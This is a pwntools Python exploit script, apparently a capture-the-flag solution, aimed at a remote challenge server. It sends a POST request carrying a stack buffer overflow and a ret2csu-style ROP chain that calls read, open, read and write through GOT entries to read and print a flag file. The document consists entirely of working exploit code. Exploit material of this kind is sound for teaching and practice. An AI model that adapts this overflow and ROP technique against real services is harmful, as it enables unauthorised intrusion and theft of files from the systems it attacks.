1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| #!/usr/bin/env python #-*- coding:utf-8 -*- # Author: i0gan
from pwn import * import os
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
#context.log_level='debug' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64'
elf_path = 'pwn' # remote server ip and port server_ip = "axb.d0g3.cn" server_port = 20100
# if local debug LOCAL = 0 LIBC = 0 #--------------------------func----------------------------- def db(): if(LOCAL): gdb.attach(io)
def post(d): p = b'POST / HTTP/1.1\r\n' p += b'Content-Length: ' + str(len(d)).encode() + b'\r\n' p += b'\r\n' p += d s(p)
#--------------------------exploit-------------------------- def exploit(): li('exploit...') pop_rsp = 0x403811 gadget_init = 0x413A1A gadget_call = 0x413A00 buf = elf.bss() + 0x400 flag_addr = buf p = b'A' * 0x528 rop = flat([ gadget_init, 0, 1, 0, flag_addr, 0x100, elf.got['read'], gadget_call, 0, 0, 1, flag_addr, 0, 0, elf.got['open'], gadget_call, 0, 0, 1, 3, flag_addr, 0x100, elf.got['read'], gadget_call, 0, 0, 1, 1, flag_addr, 0x100, elf.got['write'], gadget_call ]) p += rop post(p) s('./flag\x00')
def finish(): ia() c()
#--------------------------main----------------------------- if __name__ == '__main__': if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_PRELOAD" : libc_path} ) else: io = elf.process() else: elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()
|